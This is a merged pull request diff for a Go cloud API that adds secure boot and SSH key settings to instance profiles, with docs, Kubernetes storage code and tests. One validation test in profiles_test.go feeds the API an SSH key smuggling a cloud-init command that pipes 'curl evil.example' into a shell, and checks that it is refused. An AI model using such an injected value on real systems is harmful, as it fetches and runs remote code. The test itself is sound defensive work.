Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion docs/reference/images-and-instances.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,4 +19,4 @@ Both live in the namespace `t-<tenant>` of the `phorge.fr` group.
- **The size of an instance is a profile or its own values, never both.** `profile` is one of `GET /v1/tenants/{t}/profiles` (`s` 1 vCPU, 2 GiB, 64 GiB; `m` 2, 4, 128; `l` 4, 8, 256); the other way is `cpu`, `memoryMiB` and `diskGiB`, and what a request leaves out takes 1, 1024 and 10 (the Crossplane kind has no defaults, the API completes the size). A profile with a value is `422`, so is a profile that does not exist, and the answer lists the profiles. The body of an instance carries its `profile` and, in every case, the `cpu`, `memoryMiB` and `diskGiB` it comes to. `GET /v1/limits` has the bounds.
- **A size changes in place**: `PATCH` with a `profile` moves the instance to it and removes its own values; an instance that has a profile leaves it by being given the three values together (a value alone is `422`, it would sit next to the profile). Incus applies it live on a stopped instance.
- **The resources of a plan hold two instances of its own profile size** (`small` two `s`, `medium` two `m`, `large` two `l`), and the count of instances is 2, 4 and 6: an instance that asks for more than what is left is refused with the limit it passes, before Incus is asked (see [Limits and quotas](limits-and-quotas.md)).
- **A user makes their own profiles** (`POST /v1/tenants/{t}/profiles`): CPU, memory and disk, all three given, under a name of 1 to 32 characters (`s`, `m`, `l` and `default` are taken, `422`). They are listed after the three every tenant has, with a phase and what is wrong in words. An instance takes one as it takes `s`, `m` or `l`, and counts in the quota what it comes to. Deleting one is refused (`409`, `in_use`) while an instance has it, and names the instances; `s`, `m` and `l` are not changed nor deleted (`403`). A tenant holds at most `MAX_PROFILES_PER_TENANT` of them. Changing a profile in place is not in the API: make another one and move the instances to it.
- **A user makes their own profiles** (`POST /v1/tenants/{t}/profiles`): CPU, memory and disk, all three given, under a name of 1 to 32 characters (`s`, `m`, `l` and `default` are taken, `422`). They are listed after the three every tenant has, with a phase and what is wrong in words. An instance takes one as it takes `s`, `m` or `l`, and counts in the quota what it comes to. Deleting one is refused (`409`, `in_use`) while an instance has it, and names the instances; `s`, `m` and `l` are not changed nor deleted (`403`). A tenant holds at most `MAX_PROFILES_PER_TENANT` of them. A profile may also say two settings of an instance, `secureBoot` and `sshPublicKeys` (up to 20, checked as the keys of an instance, see the item on SSH keys). They are written on the object only when the request gives them: a profile that does not say one has none, and the body shows none, so an absent `secureBoot` is not `false`. An empty list is the same as none. An instance takes the settings of its profile unless it says its own: keys given by the instance replace the profile's, they do not add to them. A profile never has a network nor `nesting` (Incus refuses nesting on a profile of a tenant project, so nesting stays a setting of the instance): a request with either is `400`, an unknown field. Changing a profile in place is not in the API: make another one and move the instances to it.
4 changes: 2 additions & 2 deletions internal/api/compute_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -215,8 +215,8 @@ func (s *profileStore) Create(_ context.Context, tenant string, r compute.Create
return compute.Profile{}, compute.ErrExists
}
s.created = append(s.created, r)
p := compute.Profile{Name: r.Name, Description: r.Description, CPU: *r.CPU, MemoryMiB: *r.MemoryMiB, DiskGiB: *r.DiskGiB, CreatedBy: r.CreatedBy, CreatedAt: now,
Status: status.Object{NotReadySince: now}}
p := compute.Profile{Name: r.Name, Description: r.Description, CPU: *r.CPU, MemoryMiB: *r.MemoryMiB, DiskGiB: *r.DiskGiB, SecureBoot: r.SecureBoot, SSHPublicKeys: r.SSHPublicKeys,
CreatedBy: r.CreatedBy, CreatedAt: now, Status: status.Object{NotReadySince: now}}
s.put(tenant, p)
return p, nil
}
Expand Down
4 changes: 4 additions & 0 deletions internal/api/profiles.go
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,9 @@ type profileBody struct {
CPU int `json:"cpu"`
MemoryMiB int `json:"memoryMiB"`
DiskGiB int `json:"diskGiB"`
// SecureBoot and SSHPublicKeys are what the profile says, absent when it does not. An instance takes them unless it says its own.
SecureBoot *bool `json:"secureBoot,omitempty"`
SSHPublicKeys []string `json:"sshPublicKeys,omitempty"`
// Builtin tells the profiles every tenant is created with from the ones a user made. Only the latter have what follows.
Builtin bool `json:"builtin"`
Phase *status.Phase `json:"phase,omitempty"`
Expand All @@ -53,6 +56,7 @@ func (p *profileRoutes) body(pr compute.Profile) profileBody {
if pr.Builtin {
return b
}
b.SecureBoot, b.SSHPublicKeys = pr.SecureBoot, pr.SSHPublicKeys
phase := pr.Status.At(p.now())
at := pr.CreatedAt
b.Phase, b.Problems, b.CreatedAt, b.CreatedBy = &phase, pr.Status.Message(phase), &at, pr.CreatedBy
Expand Down
91 changes: 90 additions & 1 deletion internal/api/profiles_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import (
"fmt"
"net/http"
"net/http/httptest"
"reflect"
"strings"
"testing"

Expand All @@ -26,7 +27,7 @@ func TestProfilesAreThreeSizes(t *testing.T) {
t.Fatalf("items = %+v", body.Items)
}
for i := range want {
if body.Items[i] != want[i] {
if !reflect.DeepEqual(body.Items[i], want[i]) {
t.Errorf("profile %d = %+v, want %+v", i, body.Items[i], want[i])
}
}
Expand Down Expand Up @@ -308,6 +309,94 @@ func TestMakeAProfileRefusesABadRequest(t *testing.T) {
}
}

// A profile carries the secure boot and the SSH keys of an instance, and says only what it was given: the answer shows them, and shows
// nothing for what the profile does not say.
func TestMakeAProfileWithTheSecureBootAndTheKeysOfAnInstance(t *testing.T) {
const sz = `"cpu":1,"memoryMiB":1024,"diskGiB":10`
t.Run("both", func(t *testing.T) {
e := newEnv(t)
rec := e.do(t, "POST", "/v1/tenants/demo/profiles", "operator", `{"name":"web",`+sz+`,"secureBoot":false,"sshPublicKeys":["`+sshKey+` leo@laptop"]}`)
if rec.Code != http.StatusAccepted {
t.Fatalf("status %d: %s", rec.Code, rec.Body)
}
got := e.profiles.created[0]
if got.SecureBoot == nil || *got.SecureBoot || len(got.SSHPublicKeys) != 1 {
t.Errorf("the store received %+v", got)
}
var body profileBody
mustDecode(t, rec, &body)
if body.SecureBoot == nil || *body.SecureBoot || len(body.SSHPublicKeys) != 1 || body.SSHPublicKeys[0] != sshKey+" leo@laptop" {
t.Errorf("body = %+v", body)
}
// one by one and in the list
var one profileBody
mustDecode(t, e.do(t, "GET", "/v1/tenants/demo/profiles/web", "viewer", ""), &one)
if one.SecureBoot == nil || *one.SecureBoot || len(one.SSHPublicKeys) != 1 {
t.Errorf("get = %+v", one)
}
})
t.Run("a true secure boot is said as true", func(t *testing.T) {
e := newEnv(t)
rec := e.do(t, "POST", "/v1/tenants/demo/profiles", "operator", `{"name":"web",`+sz+`,"secureBoot":true}`)
var body profileBody
mustDecode(t, rec, &body)
if body.SecureBoot == nil || !*body.SecureBoot || body.SSHPublicKeys != nil {
t.Errorf("body = %+v", body)
}
})
t.Run("neither is absent, not false and not empty", func(t *testing.T) {
e := newEnv(t)
rec := e.do(t, "POST", "/v1/tenants/demo/profiles", "operator", `{"name":"web",`+sz+`}`)
if got := e.profiles.created[0]; got.SecureBoot != nil || got.SSHPublicKeys != nil {
t.Errorf("the store received %+v: a setting the request does not give is not sent", got)
}
for _, field := range []string{"secureBoot", "sshPublicKeys"} {
if strings.Contains(rec.Body.String(), field) {
t.Errorf("the answer says %s of a profile that does not: %s", field, rec.Body)
}
}
})
t.Run("the profiles every tenant has say none", func(t *testing.T) {
e := newEnv(t)
rec := e.do(t, "GET", "/v1/tenants/demo/profiles/m", "viewer", "")
if strings.Contains(rec.Body.String(), "secureBoot") || strings.Contains(rec.Body.String(), "sshPublicKeys") {
t.Errorf("body = %s", rec.Body)
}
})
}

// The keys are checked as the ones of an instance, by the same function, and a profile has neither nesting nor a network.
func TestMakeAProfileRefusesBadSettings(t *testing.T) {
e := newEnv(t)
const sz = `"name":"web","cpu":1,"memoryMiB":1024,"diskGiB":10`
keys := make([]string, 21)
for i := range keys {
keys[i] = `"` + sshKey + ` k` + fmt.Sprint(i) + `"`
}
for name, tt := range map[string]struct {
body string
code int
want string
}{
"a bad key": {`{` + sz + `,"sshPublicKeys":["nope"]}`, http.StatusUnprocessableEntity, "sshPublicKeys[0] must be one line"},
"a line break": {`{` + sz + `,"sshPublicKeys":["` + sshKey + `\nruncmd:\n - curl evil.example | sh"]}`, http.StatusUnprocessableEntity, "sshPublicKeys[0] must be one line"},
"a key twice": {`{` + sz + `,"sshPublicKeys":["` + sshKey + `","` + sshKey + `"]}`, http.StatusUnprocessableEntity, "sshPublicKeys[1] is given twice"},
"21 keys": {`{` + sz + `,"sshPublicKeys":[` + strings.Join(keys, ",") + `]}`, http.StatusUnprocessableEntity, "at most 20 sshPublicKeys"},
"a string for keys": {`{` + sz + `,"sshPublicKeys":"` + sshKey + `"}`, http.StatusBadRequest, "not valid"},
"a text for secure": {`{` + sz + `,"secureBoot":"no"}`, http.StatusBadRequest, "not valid"},
"nesting": {`{` + sz + `,"nesting":true}`, http.StatusBadRequest, "unknown field"},
"a network": {`{` + sz + `,"networks":["net"]}`, http.StatusBadRequest, "unknown field"},
} {
rec := e.do(t, "POST", "/v1/tenants/demo/profiles", "operator", tt.body)
if rec.Code != tt.code || !strings.Contains(rec.Body.String(), tt.want) {
t.Errorf("%s: status %d: %s, want %d with %q", name, rec.Code, rec.Body, tt.code, tt.want)
}
}
if len(e.profiles.created) != 0 {
t.Errorf("something reached the store: %+v", e.profiles.created)
}
}

func TestATenantHoldsAtMostSomeProfiles(t *testing.T) {
s := testSettings
s.MaxProfilesPerTenant = 2
Expand Down
28 changes: 28 additions & 0 deletions internal/compute/compute_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -426,3 +426,31 @@ func TestTheNetworksOfAnInstanceAreChecked(t *testing.T) {
t.Error("a patch with a network twice was accepted")
}
}

// A profile checks its SSH keys with the function of the instance: the same keys are accepted and refused.
func TestAProfileTakesTheSSHKeysOfAnInstance(t *testing.T) {
size := CreateProfile{Name: "web", CPU: ptr(2), MemoryMiB: ptr(1024), DiskGiB: ptr(10)}
for name, keys := range map[string][]string{
"none": nil,
"a key": {goodKey},
"a key with note": {goodKey + " user@host"},
} {
r := size
r.SSHPublicKeys = keys
if err := r.Validate(); err != nil {
t.Errorf("%s: %v", name, err)
}
}
for name, keys := range map[string][]string{
"not a key": {"nope"},
"a line break": {goodKey + "\nruncmd:"},
"given twice": {goodKey, goodKey},
"too many keys": make([]string, MaxSSHKeys+1),
} {
r := size
r.SSHPublicKeys = keys
if err := r.Validate(); err == nil {
t.Errorf("%s: accepted", name)
}
}
}
16 changes: 14 additions & 2 deletions internal/compute/profile.go
Original file line number Diff line number Diff line change
Expand Up @@ -37,14 +37,20 @@ func Taken(name string) bool {
// MaxProfileDescription is the longest description of a profile.
const MaxProfileDescription = 200

// Profile is a size an instance can take: CPU, memory and a root disk. A tenant has three of them, `s`, `m` and `l`, which its
// project is created with (phorge-fr/Hangar, composition-tenant.yml); a user's own profiles come with phorge-fr/phorge-api#73.
// Profile is a size an instance can take: CPU, memory and a root disk, and what a user's own profile says of two settings of an
// instance, secure boot and SSH keys. A tenant has three profiles, `s`, `m` and `l`, which its project is created with
// (phorge-fr/Hangar, composition-tenant.yml); a user's own profiles come with phorge-fr/phorge-api#73.
type Profile struct {
Name string
Description string
CPU int
MemoryMiB int
DiskGiB int
// SecureBoot and SSHPublicKeys are what the profile says, nil when it says nothing: an instance takes them unless it says its
// own. An absent secure boot is not false, and an empty list of keys is the same as none. Never a network, never nesting: Incus
// refuses nesting on a profile of a tenant project, so the kind does not have it.
SecureBoot *bool
SSHPublicKeys []string
// Builtin is a profile the tenant is created with, which the user cannot change or delete.
Builtin bool
// CreatedAt, CreatedBy and Status are those of a profile a user made. A builtin profile has none: it is made with the tenant.
Expand All @@ -60,6 +66,10 @@ type CreateProfile struct {
CPU *int `json:"cpu"`
MemoryMiB *int `json:"memoryMiB"`
DiskGiB *int `json:"diskGiB"`
// SecureBoot and SSHPublicKeys are the settings an instance takes from the profile unless it says its own. Written on the
// object only when given.
SecureBoot *bool `json:"secureBoot"`
SSHPublicKeys []string `json:"sshPublicKeys"`

// CreatedBy is the subject of the caller, recorded on the object. Not part of the request body.
CreatedBy string `json:"-"`
Expand Down Expand Up @@ -88,6 +98,8 @@ func (r CreateProfile) Validate() error {
}
checkBounds(&p, f.name, f.v, f.lo, f.hi)
}
// The keys of an instance and of a profile are the same, checked by the same function.
checkKeys(&p, r.SSHPublicKeys)
return p.err()
}

Expand Down
31 changes: 23 additions & 8 deletions internal/kube/profiles.go
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,13 @@ func (s *Profiles) Create(ctx context.Context, tenant string, req compute.Create
if req.Description != "" {
spec["description"] = req.Description
}
// What the profile does not say stays absent: an absent secure boot is not false, the instance's own value or the default applies.
if req.SecureBoot != nil {
spec["secureBoot"] = *req.SecureBoot
}
if len(req.SSHPublicKeys) > 0 {
spec["sshPublicKeys"] = toAny(req.SSHPublicKeys)
}
obj, err := r.Create(ctx, &unstructured.Unstructured{Object: map[string]any{
"apiVersion": profilesGVR.GroupVersion().String(),
"kind": "Profile",
Expand Down Expand Up @@ -94,15 +101,23 @@ func (s *Profiles) Delete(ctx context.Context, tenant, name string) error {
func profileOf(obj *unstructured.Unstructured) compute.Profile {
description, _, _ := unstructured.NestedString(obj.Object, "spec", "description")
problems, _, _ := unstructured.NestedString(obj.Object, "status", "problems")
// The settings the profile says, absent when it does not: the found flag is what counts, never the value.
var secureBoot *bool
if v, found, err := unstructured.NestedBool(obj.Object, "spec", "secureBoot"); found && err == nil {
secureBoot = &v
}
keys, _, _ := unstructured.NestedStringSlice(obj.Object, "spec", "sshPublicKeys")

return compute.Profile{
Name: obj.GetName(),
Description: description,
CPU: intOf(obj, "cpu"),
MemoryMiB: intOf(obj, "memoryMiB"),
DiskGiB: intOf(obj, "diskGiB"),
CreatedAt: obj.GetCreationTimestamp().Time,
CreatedBy: obj.GetAnnotations()[CreatedByAnnotation],
Status: statusOf(obj, problems),
Name: obj.GetName(),
Description: description,
CPU: intOf(obj, "cpu"),
MemoryMiB: intOf(obj, "memoryMiB"),
DiskGiB: intOf(obj, "diskGiB"),
SecureBoot: secureBoot,
SSHPublicKeys: keys,
CreatedAt: obj.GetCreationTimestamp().Time,
CreatedBy: obj.GetAnnotations()[CreatedByAnnotation],
Status: statusOf(obj, problems),
}
}
61 changes: 61 additions & 0 deletions internal/kube/profiles_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,67 @@ func TestProfileCreateWritesTheThreeValues(t *testing.T) {
}
}

func TestProfileCreateWritesTheSettingsItIsGivenAndOnlyThose(t *testing.T) {
s, client := newProfileStore()
if _, err := s.Create(t.Context(), "demo", compute.CreateProfile{Name: "plain", CPU: ptr(1), MemoryMiB: ptr(1024), DiskGiB: ptr(10)}); err != nil {
t.Fatal(err)
}
obj, _ := client.Resource(profilesGVR).Namespace("t-demo").Get(t.Context(), "plain", metav1.GetOptions{})
for _, field := range []string{"secureBoot", "sshPublicKeys"} {
if _, ok, _ := unstructured.NestedFieldNoCopy(obj.Object, "spec", field); ok {
t.Errorf("%s was sent for a profile that does not say it: an absent value is not false nor empty", field)
}
}
// A secure boot of false is a value the profile says: it is written, not dropped as a zero.
got, err := s.Create(t.Context(), "demo", compute.CreateProfile{Name: "web", CPU: ptr(1), MemoryMiB: ptr(1024), DiskGiB: ptr(10),
SecureBoot: ptr(false), SSHPublicKeys: []string{key}})
if err != nil {
t.Fatal(err)
}
if got.SecureBoot == nil || *got.SecureBoot || len(got.SSHPublicKeys) != 1 || got.SSHPublicKeys[0] != key {
t.Errorf("the profile read back = %+v", got)
}
obj, _ = client.Resource(profilesGVR).Namespace("t-demo").Get(t.Context(), "web", metav1.GetOptions{})
if v, ok, _ := unstructured.NestedBool(obj.Object, "spec", "secureBoot"); !ok || v {
t.Errorf("spec.secureBoot = %v, found %v, want false", v, ok)
}
if v, ok, _ := unstructured.NestedStringSlice(obj.Object, "spec", "sshPublicKeys"); !ok || len(v) != 1 || v[0] != key {
t.Errorf("spec.sshPublicKeys = %v, found %v", v, ok)
}
}

// A profile says what its object says: the field being there is what counts, never its value.
func TestProfileReadsOnlyWhatTheObjectSays(t *testing.T) {
s, client := newProfileStore()
for name, spec := range map[string]map[string]any{
"none": {"cpu": int64(1), "memoryMiB": int64(1024), "diskGiB": int64(10)},
"false": {"cpu": int64(1), "memoryMiB": int64(1024), "diskGiB": int64(10), "secureBoot": false},
"true": {"cpu": int64(1), "memoryMiB": int64(1024), "diskGiB": int64(10), "secureBoot": true, "sshPublicKeys": []any{key}},
"empty": {"cpu": int64(1), "memoryMiB": int64(1024), "diskGiB": int64(10), "sshPublicKeys": []any{}},
} {
obj := &unstructured.Unstructured{Object: map[string]any{
"apiVersion": profilesGVR.GroupVersion().String(), "kind": "Profile",
"metadata": map[string]any{"name": name, "namespace": "t-demo"}, "spec": spec,
}}
if _, err := client.Resource(profilesGVR).Namespace("t-demo").Create(t.Context(), obj, metav1.CreateOptions{}); err != nil {
t.Fatal(err)
}
}
want := map[string]struct {
secureBoot *bool
keys int
}{"none": {nil, 0}, "false": {ptr(false), 0}, "true": {ptr(true), 1}, "empty": {nil, 0}}
for name, w := range want {
got, err := s.Get(t.Context(), "demo", name)
if err != nil {
t.Fatal(err)
}
if (got.SecureBoot == nil) != (w.secureBoot == nil) || (w.secureBoot != nil && *got.SecureBoot != *w.secureBoot) || len(got.SSHPublicKeys) != w.keys {
t.Errorf("%s: secureBoot %v, %d keys, want %v and %d", name, got.SecureBoot, len(got.SSHPublicKeys), w.secureBoot, w.keys)
}
}
}

func TestProfileCreateWithoutADescriptionSendsNone(t *testing.T) {
s, client := newProfileStore()
if _, err := s.Create(t.Context(), "demo", compute.CreateProfile{Name: "web", CPU: ptr(1), MemoryMiB: ptr(1024), DiskGiB: ptr(10)}); err != nil {
Expand Down
Loading
Loading